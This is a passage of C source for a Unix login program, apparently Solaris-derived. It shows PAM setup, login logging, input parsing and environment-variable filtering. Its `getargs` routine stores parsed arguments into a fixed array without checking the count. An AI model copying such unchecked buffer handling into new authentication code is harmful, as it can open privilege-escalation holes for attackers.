| 314 | static int login_conv(int num_msg, struct pam_message **msg, | ||
| 315 | struct pam_response **response, void *appdata_ptr); | ||
| 316 | |||
| 317 | static struct pam_conv pam_conv = {login_conv, NULL}; | ||
| 318 | static pam_handle_t *pamh; /* Authentication handle */ | ||
| 319 | |||
| 320 | /* | ||
| 321 | * Function declarations | ||
| 322 | */ | ||
| 323 | static void turn_on_logging(void); | ||
| 324 | static void defaults(void); | ||
| 325 | static void usage(void); | ||
| 326 | static void process_rlogin(void); | ||
| 327 | static void login_authenticate(); | ||
| 328 | static void setup_credentials(void); | ||
| 329 | static void adjust_nice(void); | ||
| 330 | static void update_utmp_entry(int sublogin); | ||
| 331 | static void establish_user_environment(char **renvp); | ||
| 332 | static void print_banner(void); | ||
| 333 | static void display_last_login_time(void); | ||
| 334 | static void exec_the_shell(void); | ||
| 335 | static int process_chroot_logins(void); | ||
| 336 | static int chdir_to_dir_root(void); | ||
| 337 | static void chdir_to_dir_user(void); | ||
| 338 | static void logindevperm(char *, uid_t, gid_t); | ||
| 339 | static void dir_dev_acc(char *, uid_t, gid_t, mode_t, char *); | ||
| 340 | static void check_log(void); | ||
| 341 | static void validate_account(); | ||
| 342 | static void doremoteterm(char *term); | ||
| 343 | static int get_options(int argc, char *argv[]); | ||
| 344 | static void getstr(char *buf, int cnt, char *err); | ||
| 345 | static int legalenvvar(char *s); | ||
| 346 | static void check_for_root_user(void); | ||
| 347 | static void check_for_dueling_unix(char inputline[]); | ||
| 348 | static void get_user_name(void); | ||
| 349 | static void login_exit(int exit_code); | ||
| 350 | static int logins_disabled(char *user_name); | ||
| 351 | static void log_bad_attempts(void); | ||
| 352 | |||
| 353 | /* | ||
| 354 | * *** main *** | ||
| 355 | * | ||
| 356 | * The primary flow of control is directed in this routine. | ||
| 357 | * Control moves in line from top to bottom calling subfunctions | ||
| 358 | * which perform the bulk of the work. Many of these calls exit | ||
| 359 | * when a fatal error is encountered and do not return to main. | ||
| 360 | * | ||
| 361 | * | ||
| 362 | */ | ||
| 363 | |||
| 364 | void | ||
| 365 | main(int argc, char *argv[], char **renvp) | ||
| 366 | { | ||
| 367 | int sublogin; | ||
| 368 | |||
| 369 | /* | ||
| 370 | * Set up Defaults and flags | ||
| 371 | */ | ||
| 372 | defaults(); | ||
| 373 | |||
| 374 | /* | ||
| 375 | * Set up default umask | ||
| 376 | */ | ||
| 377 | if (Umask > ((mode_t) 0777)) | ||
| 378 | Umask = DEFUMASK; | ||
| 379 | (void) umask(Umask); | ||
| 380 | |||
| 381 | /* | ||
| 382 | * Set up default timeouts and delays | ||
| 383 | */ | ||
| 384 | if (Def_timeout > MAX_TIMEOUT) | ||
| 385 | Def_timeout = MAX_TIMEOUT; | ||
| 386 | if (Sleeptime < 0 || Sleeptime > 5) | ||
| 387 | Sleeptime = SLEEPTIME; | ||
| 388 | |||
| 389 | (void) alarm(Def_timeout); | ||
| 390 | |||
| 391 | /* | ||
| 392 | * Ignore SIGQUIT and SIGINT and set nice to 0 | ||
| 393 | */ | ||
| 394 | (void) signal(SIGQUIT, SIG_IGN); | ||
| 395 | (void) signal(SIGINT, SIG_IGN); | ||
| 396 | (void) nice(0); | ||
| 397 | |||
| 398 | /* | ||
| 399 | * Set flag to disable the pid check if you find that you are | ||
| 400 | * a subsystem login. | ||
| 401 | */ | ||
| 402 | sublogin = 0; | ||
| 403 | if (*renvp && strcmp(*renvp, SUBLOGIN) == 0) | ||
| 404 | sublogin = 1; | ||
| 405 | |||
| 406 | /* | ||
| 407 | * Parse Arguments | ||
| 408 | */ | ||
| 409 | if (get_options(argc, argv) == -1) { | ||
| 410 | usage(); | ||
| 411 | login_exit(1); | ||
| 412 | } | ||
| 413 | |||
| 414 | audit_login_save_flags(rflag, hflag); | ||
| 415 | audit_login_save_host(remote_host); | ||
| 416 | |||
| 417 | /* | ||
| 418 | * if devicename is not passed as argument, call ttyname(0) | ||
| 419 | */ | ||
| 420 | if (ttyn == NULL) { | ||
| 421 | ttyn = ttyname(0); | ||
| 422 | if (ttyn == NULL) | ||
| 423 | ttyn = "/dev/???"; | ||
| 424 | } | ||
| 425 | |||
| 426 | audit_login_save_ttyn(ttyn); | ||
| 427 | audit_login_save_port(); | ||
| 428 | |||
| 429 | /* | ||
| 430 | * Call pam_start to initiate a PAM authentication operation | ||
| 431 | */ | ||
| 432 | |||
| 433 | if ((pam_start(progname, user_name, &pam_conv, &pamh)) | ||
| 434 | != PAM_SUCCESS) | ||
| 435 | login_exit(1); | ||
| 436 | if ((pam_set_item(pamh, PAM_TTY, ttyn)) != PAM_SUCCESS) { | ||
| 437 | login_exit(1); | ||
| 438 | } | ||
| 439 | if ((pam_set_item(pamh, PAM_RHOST, remote_host)) != PAM_SUCCESS) { | ||
| 440 | login_exit(1); | ||
| 441 | } | ||
| 442 | |||
| 443 | /* | ||
| 444 | * Open the log file which contains a record of successful and failed | ||
| 445 | * login attempts | ||
| 446 | */ | ||
| 447 | turn_on_logging(); | ||
| 448 | |||
| 449 | /* | ||
| 450 | * say "hi" to syslogd .. | ||
| 451 | */ | ||
| 452 | openlog("login", 0, LOG_AUTH); | ||
| 453 | |||
| 454 | /* | ||
| 455 | * Do special processing for -r (rlogin) flag | ||
| 456 | */ | ||
| 457 | if (rflag) | ||
| 458 | process_rlogin(); | ||
| 459 | |||
| 460 | /* | ||
| 461 | * validate user | ||
| 462 | */ | ||
| 463 | /* we are already authenticated. fill in what we must, then continue */ | ||
| 464 | if (fflag) { | ||
| 465 | if (pwd = getpwnam(user_name)) | ||
| 466 | audit_login_save_pw(pwd); | ||
| 467 | else { | ||
| 468 | audit_login_save_pw(pwd); | ||
| 469 | audit_login_bad_pw(); | ||
| 470 | log_bad_attempts(); | ||
| 471 | login_exit(1); | ||
| 472 | } | ||
| 473 | } else { | ||
| 474 | /* | ||
| 475 | * Perform the primary login authentication activity. | ||
| 476 | */ | ||
| 477 | login_authenticate(); | ||
| 478 | } | ||
| 479 | |||
| 480 | /* change root login, then we exec another login and try again */ | ||
| 481 | if (process_chroot_logins() != OK) | ||
| 482 | login_exit(1); | ||
| 483 | |||
| 484 | /* | ||
| 485 | * If root login and not on system console then call exit(2) | ||
| 486 | */ | ||
| 487 | check_for_root_user(); | ||
| 488 | |||
| 489 | /* | ||
| 490 | * Check to see if a shutdown is in progress, if it is and | ||
| 491 | * we are not root then throw the user off the system | ||
| 492 | */ | ||
| 493 | if (logins_disabled(user_name) == TRUE) | ||
| 494 | login_exit(1); | ||
| 495 | |||
| 496 | if (pwd->pw_uid == 0) { | ||
| 497 | if (Def_supath != NULL) | ||
| 498 | Def_path = Def_supath; | ||
| 499 | else | ||
| 500 | Def_path = DEF_SUPATH; | ||
| 501 | } | ||
| 502 | |||
| 503 | /* | ||
| 504 | * Check account expiration and passwd aging | ||
| 505 | */ | ||
| 506 | validate_account(); | ||
| 507 | |||
| 508 | /* | ||
| 509 | * We only get here if we've been authenticated. | ||
| 510 | */ | ||
| 511 | update_utmp_entry(sublogin); | ||
| 512 | |||
| 513 | /* | ||
| 514 | * Now we set up the environment for the new user, which includes | ||
| 515 | * the users ulimit, nice value, ownership of this tty, uid, gid, | ||
| 516 | * and environment variables. | ||
| 517 | */ | ||
| 518 | if (Def_ulimit > 0L && ulimit(SET_FSIZ, Def_ulimit) < 0L) | ||
| 519 | (void) printf("Could not set ULIMIT to %ld\n", Def_ulimit); | ||
| 520 | |||
| 521 | /* | ||
| 522 | * Set mode to r/w user & w group, owner to user and group to tty | ||
| 523 | */ | ||
| 524 | (void) chmod(ttyn, S_IRUSR|S_IWUSR|S_IWGRP); | ||
| 525 | |||
| 526 | if ((grpstr = getgrnam(ttygrp)) == NULL) | ||
| 527 | (void) chown(ttyn, pwd->pw_uid, pwd->pw_gid); | ||
| 528 | else | ||
| 529 | (void) chown(ttyn, pwd->pw_uid, grpstr->gr_gid); | ||
| 530 | |||
| 531 | logindevperm(ttyn, pwd->pw_uid, pwd->pw_gid); | ||
| 532 | adjust_nice(); /* passwd file can specify nice value */ | ||
| 533 | |||
| 534 | /* | ||
| 535 | * Record successful login and fork process that records logout. | ||
| 536 | * We have to do this before setting credentials because we need | ||
| 537 | * to be root in order do a setaudit() and an audit(). | ||
| 538 | */ | ||
| 539 | audit_login_success(); | ||
| 540 | |||
| 541 | setup_credentials(); /* Set uid/gid - exits on failure */ | ||
| 542 | |||
| 543 | /* | ||
| 544 | * Set up the basic environment for the exec. This includes | ||
| 545 | * HOME, PATH, LOGNAME, SHELL, TERM, TZ, HZ, and MAIL. | ||
| 546 | */ | ||
| 547 | chdir_to_dir_user(); | ||
| 548 | |||
| 549 | establish_user_environment(renvp); | ||
| 550 | |||
| 551 | pam_end(pamh, PAM_SUCCESS); /* Done using PAM */ | ||
| 552 | |||
| 553 | if (pwd->pw_uid == 0) | ||
| 554 | if (remote_host[0] && dosyslog) | ||
| 555 | syslog(LOG_NOTICE, "ROOT LOGIN %s FROM %.*s", | ||
| 556 | ttyn, HMAX, remote_host); | ||
| 557 | else if (dosyslog) | ||
| 558 | syslog(LOG_NOTICE, "ROOT LOGIN %s", ttyn); | ||
| 559 | closelog(); | ||
| 560 | |||
| 561 | (void) signal(SIGQUIT, SIG_DFL); | ||
| 562 | (void) signal(SIGINT, SIG_DFL); | ||
| 563 | |||
| 564 | /* | ||
| 565 | * Display some useful information to the new user like the banner | ||
| 566 | * and last login time if not a quiet login. | ||
| 567 | */ | ||
| 568 | |||
| 569 | if (access(HUSHLOGIN, F_OK) != 0) { | ||
| 570 | print_banner(); | ||
| 571 | display_last_login_time(); | ||
| 572 | } | ||
| 573 | |||
| 574 | /* | ||
| 575 | * Set SIGXCPU and SIGXFSZ to default disposition. | ||
| 576 | * Shells inherit signal disposition from parent. | ||
| 577 | * And the shells should have default dispositions | ||
| 578 | * for the two below signals. | ||
| 579 | */ | ||
| 580 | (void) signal(SIGXCPU, SIG_DFL); | ||
| 581 | (void) signal(SIGXFSZ, SIG_DFL); | ||
| 582 | |||
| 583 | /* | ||
| 584 | * Now fire off the shell of choice | ||
| 585 | */ | ||
| 586 | exec_the_shell(); | ||
| 587 | |||
| 588 | /* | ||
| 589 | * All done | ||
| 590 | */ | ||
| 591 | login_exit(1); | ||
| 592 | /* NOTREACHED */ | ||
| 593 | } | ||
| 594 | |||
| 595 | |||
| 596 | /* | ||
| 597 | * *** Utility functions *** | ||
| 598 | */ | ||
| 599 | |||
| 600 | |||
| 601 | |||
| 602 | /* | ||
| 603 | * donothing & catch - Signal catching functions | ||
| 604 | */ | ||
| 605 | |||
| 606 | /*ARGSUSED*/ | ||
| 607 | static void | ||
| 608 | donothing(int sig) | ||
| 609 | { | ||
| 610 | if (pamh) | ||
| 611 | pam_end(pamh, PAM_ABORT); | ||
| 612 | } | ||
| 613 | |||
| 614 | #ifdef notdef | ||
| 615 | static int intrupt; | ||
| 616 | |||
| 617 | /*ARGSUSED*/ | ||
| 618 | static void | ||
| 619 | catch(int sig) | ||
| 620 | { | ||
| 621 | ++intrupt; | ||
| 622 | } | ||
| 623 | #endif | ||
| 624 | |||
| 625 | /* | ||
| 626 | * *** Bad login logging support *** | ||
| 627 | */ | ||
| 628 | |||
| 629 | /* | ||
| 630 | * badlogin() - log to the log file 'trys' | ||
| 631 | * unsuccessful attempts | ||
| 632 | */ | ||
| 633 | |||
| 634 | static void | ||
| 635 | badlogin(void) | ||
| 636 | { | ||
| 637 | int retval, count1, fildes; | ||
| 638 | |||
| 639 | /* | ||
| 640 | * Tries to open the log file. If succeed, lock it and write | ||
| 641 | * in the failed attempts | ||
| 642 | */ | ||
| 643 | if ((fildes = open(LOGINLOG, O_APPEND|O_WRONLY)) != -1) { | ||
| 644 | |||
| 645 | (void) sigset(SIGALRM, donothing); | ||
| 646 | (void) alarm(L_WAITTIME); | ||
| 647 | retval = lockf(fildes, F_LOCK, 0L); | ||
| 648 | (void) alarm(0); | ||
| 649 | (void) sigset(SIGALRM, SIG_DFL); | ||
| 650 | if (retval == 0) { | ||
| 651 | for (count1 = 0; count1 < trys; count1++) | ||
| 652 | (void) write(fildes, log_entry[count1], | ||
| 653 | (unsigned) strlen(log_entry[count1])); | ||
| 654 | (void) lockf(fildes, F_ULOCK, 0L); | ||
| 655 | } | ||
| 656 | (void) close(fildes); | ||
| 657 | } | ||
| 658 | } | ||
| 659 | |||
| 660 | |||
| 661 | /* | ||
| 662 | * log_bad_attempts - log each bad login attempt - called from | ||
| 663 | * login_authenticate. Exits when the maximum attempt | ||
| 664 | * count is exceeded. | ||
| 665 | */ | ||
| 666 | |||
| 667 | static void | ||
| 668 | log_bad_attempts(void) | ||
| 669 | { | ||
| 670 | time_t timenow; | ||
| 671 | |||
| 672 | if (writelog == 1 && trys < LOGTRYS) { | ||
| 673 | (void) time(&timenow); | ||
| 674 | (void) strncat(log_entry[trys], user_name, LNAME_SIZE); | ||
| 675 | (void) strncat(log_entry[trys], ":", (size_t) 1); | ||
| 676 | (void) strncat(log_entry[trys], ttyn, TTYN_SIZE); | ||
| 677 | (void) strncat(log_entry[trys], ":", (size_t) 1); | ||
| 678 | (void) strncat(log_entry[trys], ctime(&timenow), TIME_SIZE); | ||
| 679 | trys++; | ||
| 680 | } | ||
| 681 | } | ||
| 682 | |||
| 683 | |||
| 684 | /* | ||
| 685 | * turn_on_logging - if the logfile exist, turn on attempt logging and | ||
| 686 | * initialize the string storage area | ||
| 687 | */ | ||
| 688 | |||
| 689 | static void | ||
| 690 | turn_on_logging(void) | ||
| 691 | { | ||
| 692 | struct stat dbuf; | ||
| 693 | int i; | ||
| 694 | |||
| 695 | if (stat(LOGINLOG, &dbuf) == 0) { | ||
| 696 | writelog = 1; | ||
| 697 | for (i = 0; i < LOGTRYS; i++) { | ||
| 698 | if (!(log_entry[i] = malloc((size_t) ENT_SIZE))) { | ||
| 699 | writelog = 0; | ||
| 700 | break; | ||
| 701 | } | ||
| 702 | *log_entry[i] = '\0'; | ||
| 703 | } | ||
| 704 | } | ||
| 705 | } | ||
| 706 | |||
| 707 | |||
| 708 | /* | ||
| 709 | * login_conv(): | ||
| 710 | * This is the conv (conversation) function called from | ||
| 711 | * a PAM authentication module to print error messages | ||
| 712 | * or garner information from the user. | ||
| 713 | */ | ||
| 714 | static int | ||
| 715 | login_conv(int num_msg, struct pam_message **msg, | ||
| 716 | struct pam_response **response, void *appdata_ptr) | ||
| 717 | { | ||
| 718 | struct pam_message *m; | ||
| 719 | struct pam_response *r; | ||
| 720 | char *temp; | ||
| 721 | int k, i; | ||
| 722 | |||
| 723 | if (num_msg <= 0) | ||
| 724 | return (PAM_CONV_ERR); | ||
| 725 | |||
| 726 | *response = calloc(num_msg, sizeof (struct pam_response)); | ||
| 727 | if (*response == NULL) | ||
| 728 | return (PAM_BUF_ERR); | ||
| 729 | |||
| 730 | k = num_msg; | ||
| 731 | m = *msg; | ||
| 732 | r = *response; | ||
| 733 | while (k--) { | ||
| 734 | |||
| 735 | switch (m->msg_style) { | ||
| 736 | |||
| 737 | case PAM_PROMPT_ECHO_OFF: | ||
| 738 | temp = getpassphrase(m->msg); | ||
| 739 | if (temp != NULL) { | ||
| 740 | r->resp = strdup(temp); | ||
| 741 | if (r->resp == NULL) { | ||
| 742 | /* free responses */ | ||
| 743 | r = *response; | ||
| 744 | for (i = 0; i < num_msg; i++, r++) { | ||
| 745 | if (r->resp) | ||
| 746 | free(r->resp); | ||
| 747 | } | ||
| 748 | free(*response); | ||
| 749 | *response = NULL; | ||
| 750 | return (PAM_BUF_ERR); | ||
| 751 | } | ||
| 752 | } | ||
| 753 | |||
| 754 | m++; | ||
| 755 | r++; | ||
| 756 | break; | ||
| 757 | |||
| 758 | case PAM_PROMPT_ECHO_ON: | ||
| 759 | if (m->msg != NULL) | ||
| 760 | (void) fputs(m->msg, stdout); | ||
| 761 | r->resp = calloc(1, PAM_MAX_RESP_SIZE); | ||
| 762 | if (r->resp == NULL) { | ||
| 763 | /* free responses */ | ||
| 764 | r = *response; | ||
| 765 | for (i = 0; i < num_msg; i++, r++) { | ||
| 766 | if (r->resp) | ||
| 767 | free(r->resp); | ||
| 768 | } | ||
| 769 | free(*response); | ||
| 770 | *response = NULL; | ||
| 771 | return (PAM_BUF_ERR); | ||
| 772 | } | ||
| 773 | if (fgets(r->resp, PAM_MAX_RESP_SIZE-1, stdin)) { | ||
| 774 | int len; | ||
| 775 | r->resp[PAM_MAX_RESP_SIZE-1] = NULL; | ||
| 776 | len = strlen(r->resp); | ||
| 777 | if (r->resp[len-1] == '\n') | ||
| 778 | r->resp[len-1] = '\0'; | ||
| 779 | } else { | ||
| 780 | login_exit(1); | ||
| 781 | } | ||
| 782 | m++; | ||
| 783 | r++; | ||
| 784 | break; | ||
| 785 | |||
| 786 | case PAM_ERROR_MSG: | ||
| 787 | if (m->msg != NULL) { | ||
| 788 | (void) fputs(m->msg, stderr); | ||
| 789 | (void) fputs("\n", stderr); | ||
| 790 | } | ||
| 791 | m++; | ||
| 792 | r++; | ||
| 793 | break; | ||
| 794 | case PAM_TEXT_INFO: | ||
| 795 | if (m->msg != NULL) { | ||
| 796 | (void) fputs(m->msg, stdout); | ||
| 797 | (void) fputs("\n", stdout); | ||
| 798 | } | ||
| 799 | m++; | ||
| 800 | r++; | ||
| 801 | break; | ||
| 802 | |||
| 803 | default: | ||
| 804 | break; | ||
| 805 | } | ||
| 806 | } | ||
| 807 | return (PAM_SUCCESS); | ||
| 808 | } | ||
| 809 | |||
| 810 | /* | ||
| 811 | * verify_passwd - Checks the users password | ||
| 812 | * Returns: OK if password check successful, | ||
| 813 | * ERROR if password check fails. | ||
| 814 | */ | ||
| 815 | |||
| 816 | static int | ||
| 817 | verify_passwd() | ||
| 818 | { | ||
| 819 | int flags; | ||
| 820 | int error; | ||
| 821 | char *user; | ||
| 822 | |||
| 823 | /* | ||
| 824 | * PAM authenticates the user for us. | ||
| 825 | */ | ||
| 826 | |||
| 827 | error = pam_authenticate(pamh, 0); | ||
| 828 | |||
| 829 | /* get the user_name from the pam handle */ | ||
| 830 | pam_get_item(pamh, PAM_USER, (void**)&user); | ||
| 831 | SCPYN(user_name, user); /*SCUT*/ | ||
| 832 | check_for_dueling_unix(user_name); | ||
| 833 | |||
| 834 | if ((pwd = getpwnam(user_name)) == NULL) { | ||
| 835 | audit_login_save_pw(pwd); | ||
| 836 | return (PAM_USER_UNKNOWN); | ||
| 837 | } | ||
| 838 | |||
| 839 | audit_login_save_pw(pwd); | ||
| 840 | |||
| 841 | return (error); | ||
| 842 | } | ||
| 843 | |||
| 844 | /* | ||
| 845 | * quotec - Called by getargs | ||
| 846 | */ | ||
| 847 | |||
| 848 | static int | ||
| 849 | quotec(void) | ||
| 850 | { | ||
| 851 | register int c, i, num; | ||
| 852 | |||
| 853 | switch (c = getc(stdin)) { | ||
| 854 | |||
| 855 | case 'n': | ||
| 856 | c = '\n'; | ||
| 857 | break; | ||
| 858 | |||
| 859 | case 'r': | ||
| 860 | c = '\r'; | ||
| 861 | break; | ||
| 862 | |||
| 863 | case 'v': | ||
| 864 | c = '\013'; | ||
| 865 | break; | ||
| 866 | |||
| 867 | case 'b': | ||
| 868 | c = '\b'; | ||
| 869 | break; | ||
| 870 | |||
| 871 | case 't': | ||
| 872 | c = '\t'; | ||
| 873 | break; | ||
| 874 | |||
| 875 | case 'f': | ||
| 876 | c = '\f'; | ||
| 877 | break; | ||
| 878 | |||
| 879 | case '0': | ||
| 880 | case '1': | ||
| 881 | case '2': | ||
| 882 | case '3': | ||
| 883 | case '4': | ||
| 884 | case '5': | ||
| 885 | case '6': | ||
| 886 | case '7': | ||
| 887 | for (num = 0, i = 0; i < 3; i++) { | ||
| 888 | num = num * 8 + (c - '0'); | ||
| 889 | if ((c = getc(stdin)) < '0' || c > '7') | ||
| 890 | break; | ||
| 891 | } | ||
| 892 | (void) ungetc(c, stdin); | ||
| 893 | c = num & 0377; | ||
| 894 | break; | ||
| 895 | |||
| 896 | default: | ||
| 897 | break; | ||
| 898 | } | ||
| 899 | return (c); | ||
| 900 | } | ||
| 901 | |||
| 902 | /* | ||
| 903 | * getargs - returns an input line. Exits if EOF encountered. | ||
| 904 | */ | ||
| 905 | #define WHITESPACE 0 | ||
| 906 | #define ARGUMENT 1 | ||
| 907 | |||
| 908 | static char ** | ||
| 909 | getargs(char *inline) | ||
| 910 | { | ||
| 911 | static char envbuf[MAXLINE]; | ||
| 912 | static char *args[MAXARGS]; | ||
| 913 | register char *ptr, **answer; | ||
| 914 | register int c; | ||
| 915 | int state; | ||
| 916 | |||
| 917 | for (ptr = envbuf; ptr < &envbuf[sizeof (envbuf)]; /* cstyle */) | ||
| 918 | *ptr++ = '\0'; | ||
| 919 | |||
| 920 | for (answer = args; answer < &args[MAXARGS]; /* cstyle */) | ||
| 921 | *answer++ = (char *)NULL; | ||
| 922 | |||
| 923 | for (ptr = envbuf, answer = &args[0], state = WHITESPACE; | ||
| 924 | (c = getc(stdin)) != EOF; /* cstyle */) { | ||
| 925 | |||
| 926 | *(inline++) = c; | ||
| 927 | switch (c) { | ||
| 928 | |||
| 929 | case '\n': | ||
| 930 | if (ptr == &envbuf[0]) | ||
| 931 | return ((char **)NULL); | ||
| 932 | return (&args[0]); | ||
| 933 | |||
| 934 | case ' ': | ||
| 935 | case '\t': | ||
| 936 | if (state == ARGUMENT) { | ||
| 937 | *ptr++ = '\0'; | ||
| 938 | state = WHITESPACE; | ||
| 939 | } | ||
| 940 | break; | ||
| 941 | |||
| 942 | case '\\': | ||
| 943 | c = quotec(); | ||
| 944 | |||
| 945 | default: | ||
| 946 | if (state == WHITESPACE) { | ||
| 947 | *answer++ = ptr; | ||
| 948 | state = ARGUMENT; | ||
| 949 | } | ||
| 950 | *ptr++ = c; | ||
| 951 | } | ||
| 952 | |||
| 953 | /* | ||
| 954 | * If the buffer is full, force the next character to be read to | ||
| 955 | * be a <newline>. | ||
| 956 | */ | ||
| 957 | if (ptr == &envbuf[sizeof (envbuf)-1]) { | ||
| 958 | (void) ungetc('\n', stdin); | ||
| 959 | (void) putc('\n', stdout); | ||
| 960 | } | ||
| 961 | } | ||
| 962 | |||
| 963 | /* | ||
| 964 | * If we left loop because an EOF was received, exit immediately. | ||
| 965 | */ | ||
| 966 | login_exit(0); | ||
| 967 | /* NOTREACHED */ | ||
| 968 | } | ||
| 969 | |||
| 970 | /* | ||
| 971 | * get_user_name - Gets the user name either passed in, or from the | ||
| 972 | * login: prompt. | ||
| 973 | */ | ||
| 974 | |||
| 975 | static void | ||
| 976 | get_user_name() | ||
| 977 | { | ||
| 978 | FILE *fp; | ||
| 979 | int gotname = 0; | ||
| 980 | |||
| 981 | if ((fp = fopen(ISSUEFILE, "r")) != NULL) { | ||
| 982 | char *ptr, buffer[BUFSIZ]; | ||
| 983 | while ((ptr = fgets(buffer, sizeof (buffer), | ||
| 984 | fp)) != NULL) { | ||
| 985 | (void) fputs(ptr, stdout); | ||
| 986 | } | ||
| 987 | (void) fclose(fp); | ||
| 988 | } | ||
| 989 | |||
| 990 | /* | ||
| 991 | * if TTYPROMPT is not set, use our own prompt | ||
| 992 | * otherwise, use ttyprompt. We just set PAM_USER_PROMPT | ||
| 993 | * and let the module do the prompting. | ||
| 994 | */ | ||
| 995 | |||
| 996 | if ((ttyprompt == NULL) || (*ttyprompt == '\0')) | ||
| 997 | (void) pam_set_item(pamh, PAM_USER_PROMPT, (void *)loginmsg); | ||
| 998 | else | ||
| 999 | (void) pam_set_item(pamh, PAM_USER_PROMPT, (void *)ttyprompt); | ||
| 1000 | |||
| 1001 | envp = &zero; /* XXX: is this right? */ | ||
| 1002 | } | ||
| 1003 | |||
| 1004 | |||
| 1005 | /* | ||
| 1006 | * Check_for_dueling_unix - Check to see if the another login is talking | ||
| 1007 | * to the line we've got open as a login port | ||
| 1008 | * Exits if we're talking to another unix system | ||
| 1009 | */ | ||
| 1010 | |||
| 1011 | static void | ||
| 1012 | check_for_dueling_unix(char *inputline) | ||
| 1013 | { | ||
| 1014 | if (EQN(loginmsg, inputline) || EQN(passwdmsg, inputline) || | ||
| 1015 | EQN(incorrectmsg, inputline)) { | ||
| 1016 | (void) printf("Looking at a login line.\n"); | ||
| 1017 | login_exit(8); | ||
| 1018 | } | ||
| 1019 | } | ||
| 1020 | |||
| 1021 | /* | ||
| 1022 | * logins_disabled - if the file /etc/nologin exists and the user is not | ||
| 1023 | * root then do not permit them to login | ||
| 1024 | */ | ||
| 1025 | static int | ||
| 1026 | logins_disabled(char *user_name) | ||
| 1027 | { | ||
| 1028 | FILE *nlfd; | ||
| 1029 | int c; | ||
| 1030 | if (!EQN("root", user_name) && | ||
| 1031 | ((nlfd = fopen(NOLOGIN, "r")) != (FILE *)NULL)) { | ||
| 1032 | while ((c = getc(nlfd)) != EOF) | ||
| 1033 | putchar(c); | ||
| 1034 | (void) fflush(stdout); | ||
| 1035 | sleep(5); | ||
| 1036 | return (TRUE); | ||
| 1037 | } | ||
| 1038 | return (FALSE); | ||
| 1039 | } | ||
| 1040 | |||
| 1041 | /* | ||
| 1042 | * check_for_root_user - Checks if we're getting a root login on the console | ||
| 1043 | * Exits if root login not on system console. | ||
| 1044 | * | ||
| 1045 | */ | ||
| 1046 | |||
| 1047 | static void | ||
| 1048 | check_for_root_user(void) | ||
| 1049 | { | ||
| 1050 | if (pwd->pw_uid == 0) { | ||
| 1051 | if ((Console != NULL) && (strcmp(ttyn, Console) != 0)) { | ||
| 1052 | audit_login_not_console(); | ||
| 1053 | (void) printf("Not on system console\n"); | ||
| 1054 | login_exit(10); | ||
| 1055 | } | ||
| 1056 | } | ||
| 1057 | } | ||
| 1058 | |||
| 1059 | |||
| 1060 | static char *illegal[] = { | ||
| 1061 | "SHELL=", | ||
| 1062 | "HOME=", | ||
| 1063 | "LOGNAME=", | ||
| 1064 | #ifndef NO_MAIL | ||
| 1065 | "MAIL=", | ||
| 1066 | #endif | ||
| 1067 | "CDPATH=", | ||
| 1068 | "IFS=", | ||
| 1069 | "PATH=", | ||
| 1070 | 0 | ||
| 1071 | }; | ||
| 1072 | |||
| 1073 | /* | ||
| 1074 | * legalenvvar - Is it legal to insert this environmental variable? | ||
| 1075 | */ | ||
| 1076 | |||
| 1077 | static int | ||
| 1078 | legalenvvar(char *s) | ||
| 1079 | { | ||
| 1080 | register char **p; | ||
| 1081 | |||
| 1082 | for (p = illegal; *p; p++) | ||
| 1083 | if (strncmp(s, *p, strlen(*p)) == 0) | ||
| 1084 | return (0); | ||
| 1085 | |||
| 1086 | if (s[0] == 'L' && s[1] == 'D' && s[2] == '_') | ||
| 1087 | return (0); | ||
| 1088 | |||
| 1089 | return (1); | ||
| 1090 | } | ||
| 1091 | |||
| 1092 | |||
| 1093 | /* | ||
| 1094 | * getstr - Get a string from standard input | ||
| 1095 | * Calls exit if read(2) fails. | ||
| 1096 | */ | ||
| 1097 | |||
| 1098 | static void | ||
| 1099 | getstr(char *buf, int cnt, char *err) | ||
| 1100 | { | ||
| 1101 | char c; | ||
| 1102 | |||
| 1103 | do { | ||
| 1104 | if (read(0, &c, 1) != 1) | ||
| 1105 | login_exit(1); | ||
| 1106 | *buf++ = c; | ||
| 1107 | } while (--cnt > 1 && c != 0); | ||
| 1108 | |||
| 1109 | *buf = 0; | ||
| 1110 | err = err; /* For lint */ | ||
| 1111 | } | ||
| 1112 | |||
| 1113 | |||
| 1114 | /* | ||
| 1115 | * defaults - read defaults | ||
| 1116 | */ | ||
| 1117 | |||
| 1118 | static void | ||
| 1119 | defaults(void) | ||
| 1120 | { | ||
| 1121 | register int flags; | ||
| 1122 | register char *ptr; | ||
| 1123 | |||
| 1124 | if (defopen(Pndefault) == 0) { | ||
| 1125 | /* | ||
| 1126 | * ignore case | ||
| 1127 | */ | ||
| 1128 | flags = defcntl(DC_GETFLAGS, 0); | ||
| 1129 | TURNOFF(flags, DC_CASE); | ||
| 1130 | defcntl(DC_SETFLAGS, flags); | ||
| 1131 | |||
| 1132 | if ((Console = defread("CONSOLE=")) != NULL) | ||
| 1133 | Console = strdup(Console); | ||
| 1134 | |||
| 1135 | if ((Altshell = defread("ALTSHELL=")) != NULL) | ||
| 1136 | Altshell = strdup(Altshell); | ||
| 1137 | |||
| 1138 | if ((Passreq = defread("PASSREQ=")) != NULL) | ||
| 1139 | Passreq = strdup(Passreq); | ||
| 1140 | |||
| 1141 | if ((Def_tz = defread("TIMEZONE=")) != NULL) | ||
| 1142 | Def_tz = strdup(Def_tz); | ||
| 1143 | |||
| 1144 | if ((Def_hertz = defread("HZ=")) != NULL) | ||
| 1145 | Def_hertz = strdup(Def_hertz); | ||
| 1146 | |||
| 1147 | if ((Def_path = defread("PATH=")) != NULL) | ||
| 1148 | Def_path = strdup(Def_path); | ||
| 1149 | |||
| 1150 | if ((Def_supath = defread("SUPATH=")) != NULL) | ||
| 1151 | Def_supath = strdup(Def_supath); | ||
| 1152 | |||
| 1153 | if ((ptr = defread("ULIMIT=")) != NULL) | ||
| 1154 | Def_ulimit = atol(ptr); | ||
| 1155 | |||
| 1156 | if ((ptr = defread("TIMEOUT=")) != NULL) | ||
| 1157 | Def_timeout = (unsigned) atoi(ptr); | ||
| 1158 | |||
| 1159 | if ((ptr = defread("UMASK=")) != NULL) | ||
| 1160 | if (sscanf(ptr, "%lo", &Umask) != 1) | ||
| 1161 | Umask = DEFUMASK; | ||
| 1162 | |||
| 1163 | if ((ptr = defread("SLEEPTIME=")) != NULL) | ||
| 1164 | Sleeptime = atoi(ptr); | ||
| 1165 | |||
| 1166 | if ((ptr = defread("SYSLOG=")) != NULL) | ||
| 1167 | dosyslog = strcmp(ptr, "YES") == 0; | ||
| 1168 | |||
| 1169 | if ((ptr = defread("RETRIES=")) != NULL) | ||
